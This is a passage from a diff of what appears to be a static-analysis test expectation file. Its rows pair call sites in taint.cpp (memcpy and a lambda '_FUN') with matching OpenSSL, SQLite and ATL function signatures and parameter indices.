*,int) | | Jim_StringToWide | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const char *,sqlite3_filename,int) | | sqlite3_uri_key | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const stack_st_X509_ATTRIBUTE *,const ASN1_OBJECT *,int) | | X509at_get_attr_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const stack_st_X509_ATTRIBUTE *,int,int) | | X509at_get_attr_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const stack_st_X509_EXTENSION *,const ASN1_OBJECT *,int) | | X509v3_get_ext_by_OBJ | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_NID | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_critical | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const unsigned char **,unsigned int,int) | | ossl_b2i_DSA_after_header | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const unsigned char **,unsigned int,int) | | ossl_b2i_RSA_after_header | 2 | +| taint.cpp:190:7:190:12 | memcpy | (const void *,const void *,int) | | ossl_is_partially_overlapping | 2 | +| taint.cpp:190:7:190:12 | memcpy | (int,BIO_ADDR *,int) | | BIO_accept_ex | 2 | +| taint.cpp:190:7:190:12 | memcpy | (int,int,int) | | ASN1_object_size | 2 | +| taint.cpp:190:7:190:12 | memcpy | (int,int,int) | | EVP_CIPHER_meth_new | 2 | +| taint.cpp:190:7:190:12 | memcpy | (regex_t *,const char *,int) | | jim_regcomp | 2 | +| taint.cpp:190:7:190:12 | memcpy | (sqlite3 *,const char *,int) | | sqlite3_overload_function | 2 | +| taint.cpp:190:7:190:12 | memcpy | (sqlite3 *,int,int) | | sqlite3_limit | 2 | +| taint.cpp:190:7:190:12 | memcpy | (sqlite3_context *,const char *,int) | | sqlite3_result_error | 2 | +| taint.cpp:190:7:190:12 | memcpy | (sqlite3_context *,const void *,int) | | sqlite3_result_error16 | 2 | +| taint.cpp:190:7:190:12 | memcpy | (sqlite3_index_info *,int,int) | | sqlite3_vtab_in | 2 | +| taint.cpp:190:7:190:12 | memcpy | (sqlite3_stmt *,int,int) | | sqlite3_bind_int | 2 | +| taint.cpp:190:7:190:12 | memcpy | (sqlite3_stmt *,int,int) | | sqlite3_bind_zeroblob | 2 | +| taint.cpp:190:7:190:12 | memcpy | (sqlite3_stmt *,int,int) | | sqlite3_stmt_status | 2 | +| taint.cpp:190:7:190:12 | memcpy | (sqlite3_str *,const char *,int) | | sqlite3_str_append | 2 | +| taint.cpp:190:7:190:12 | memcpy | (sqlite3expert *,int,int) | | sqlite3_expert_report | 2 | +| taint.cpp:190:7:190:12 | memcpy | (stack_st_ASN1_UTF8STRING *,const char *,int) | | ossl_cmp_sk_ASN1_UTF8STRING_push_str | 2 | +| taint.cpp:190:7:190:12 | memcpy | (stack_st_X509 **,X509 *,int) | | ossl_x509_add_cert_new | 2 | +| taint.cpp:190:7:190:12 | memcpy | (stack_st_X509 **,stack_st_X509 *,int) | | ossl_x509_add_certs_new | 2 | +| taint.cpp:190:7:190:12 | memcpy | (stack_st_X509 *,ASIdentifiers *,int) | | X509v3_asid_validate_resource_set | 2 | +| taint.cpp:190:7:190:12 | memcpy | (stack_st_X509 *,IPAddrBlocks *,int) | | X509v3_addr_validate_resource_set | 2 | +| taint.cpp:190:7:190:12 | memcpy | (stack_st_X509 *,X509 *,int) | | X509_add_cert | 2 | +| taint.cpp:190:7:190:12 | memcpy | (stack_st_X509 *,stack_st_X509 *,int) | | X509_add_certs | 2 | +| taint.cpp:190:7:190:12 | memcpy | (stack_st_X509_ALGOR **,int,int) | | CMS_add_simple_smimecap | 2 | +| taint.cpp:190:7:190:12 | memcpy | (stack_st_X509_ALGOR *,int,int) | | PKCS7_simple_smimecap | 2 | +| taint.cpp:190:7:190:12 | memcpy | (stack_st_X509_EXTENSION **,X509_EXTENSION *,int) | | X509v3_add_ext | 2 | +| taint.cpp:190:7:190:12 | memcpy | (uint8_t[56],const gf,int) | | gf_serialize | 2 | +| taint.cpp:190:7:190:12 | memcpy | (uint32_t *,SSL_CONNECTION *,int) | | ssl_set_sig_mask | 2 | +| taint.cpp:190:7:190:12 | memcpy | (unsigned char *,const unsigned char *,int) | | EVP_DecodeBlock | 2 | +| taint.cpp:190:7:190:12 | memcpy | (unsigned char *,const unsigned char *,int) | | EVP_EncodeBlock | 2 | +| taint.cpp:190:7:190:12 | memcpy | (unsigned char *,uint64_t,int) | | ossl_i2c_uint64_int | 2 | +| taint.cpp:190:7:190:12 | memcpy | (unsigned int,int,int) | | ossl_blob_length | 2 | +| taint.cpp:190:7:190:12 | memcpy | (unsigned long *,const BIGNUM *,int) | | bn_copy_words | 2 | +| taint.cpp:190:7:190:12 | memcpy | (unsigned long *,const unsigned long *,int) | | bn_sqr_words | 2 | +| taint.cpp:190:7:190:12 | memcpy | (void *,const char *,int) | | CRYPTO_secure_free | 2 | +| taint.cpp:249:13:249:13 | _FUN | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| taint.cpp:249:13:249:13 | _FUN | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| taint.cpp:249:13:249:13 | _FUN | (BIGNUM *,int) | | BN_clear_bit | 1 | +| taint.cpp:249:13:249:13 | _FUN | (BIGNUM *,int) | | BN_mask_bits | 1 | +| taint.cpp:249:13:249:13 | _FUN | (BIGNUM *,int) | | BN_set_bit | 1 | +| taint.cpp:249:13:249:13 | _FUN | (BIGNUM *,int) | | BN_set_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (BIGNUM *,int) | | bn_expand2 | 1 | +| taint.cpp:249:13:249:13 | _FUN | (BIGNUM *,int) | | bn_wexpand | 1 | +| taint.cpp:249:13:249:13 | _FUN | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| taint.cpp:249:13:249:13 | _FUN | (BIO *,int) | | BIO_clear_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (BIO *,int) | | BIO_find_type | 1 | +| taint.cpp:249:13:249:13 | _FUN | (BIO *,int) | | BIO_set_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (BIO *,int) | | BIO_set_init | 1 | +| taint.cpp:249:13:249:13 | _FUN | (BIO *,int) | | BIO_set_retry_reason | 1 | +| taint.cpp:249:13:249:13 | _FUN | (BIO *,int) | | BIO_set_shutdown | 1 | +| taint.cpp:249:13:249:13 | _FUN | (BIO *,int) | | TXT_DB_read | 1 | +| taint.cpp:249:13:249:13 | _FUN | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| taint.cpp:249:13:249:13 | _FUN | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| taint.cpp:249:13:249:13 | _FUN | (DH *,int) | | DH_clear_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (DH *,int) | | DH_set_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (DSA *,int) | | DSA_clear_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (DSA *,int) | | DSA_set_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| taint.cpp:249:13:249:13 | _FUN | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| taint.cpp:249:13:249:13 | _FUN | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| taint.cpp:249:13:249:13 | _FUN | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| taint.cpp:249:13:249:13 | _FUN | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | taint.cpp:249:13:249:13 | _FUN | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| taint.cpp:249:13:249:13 | _FUN | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| taint.cpp:249:13:249:13 | _FUN | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| taint.cpp:249:13:249:13 | _FUN | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| taint.cpp:249:13:249:13 | _FUN | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| taint.cpp:249:13:249:13 | _FUN | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| taint.cpp:249:13:249:13 | _FUN | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| taint.cpp:249:13:249:13 | _FUN | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| taint.cpp:249:13:249:13 | _FUN | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| taint.cpp:249:13:249:13 | _FUN | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| taint.cpp:249:13:249:13 | _FUN | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| taint.cpp:249:13:249:13 | _FUN | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| taint.cpp:249:13:249:13 | _FUN | (RSA *,int) | | RSA_clear_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (RSA *,int) | | RSA_set_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| taint.cpp:249:13:249:13 | _FUN | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| taint.cpp:249:13:249:13 | _FUN | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| taint.cpp:249:13:249:13 | _FUN | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL *,int) | | SSL_key_update | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL *,int) | | SSL_set_purpose | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL *,int) | | SSL_set_read_ahead | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL *,int) | | SSL_set_security_level | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL *,int) | | SSL_set_shutdown | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL *,int) | | SSL_set_trust | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL *,int) | | SSL_set_verify_depth | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL_CTX *,int) | | ssl_md | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| taint.cpp:249:13:249:13 | _FUN | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| taint.cpp:249:13:249:13 | _FUN | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509 *,int) | | X509_delete_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509 *,int) | | X509_self_signed | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| taint.cpp:249:13:249:13 | _FUN | (acttab *,int) | | acttab_insert | 1 | +| taint.cpp:249:13:249:13 | _FUN | (char *,int) | | PEM_proc_type | 1 | | taint.cpp:249:13:249:13 | _FUN | (char,int) | CStringT | CStringT | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const BIGNUM *,int) | | BN_get_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const BIO *,int) | | BIO_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const BIO *,int) | | BIO_test_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const DH *,int) | | DH_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const DH *,int) | | DH_test_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const DH *,int) | | ossl_dh_dup | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const DSA *,int) | | DSA_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const DSA *,int) | | DSA_test_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const DSA *,int) | | ossl_dsa_dup | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const QUIC_CHANNEL *,int) | | 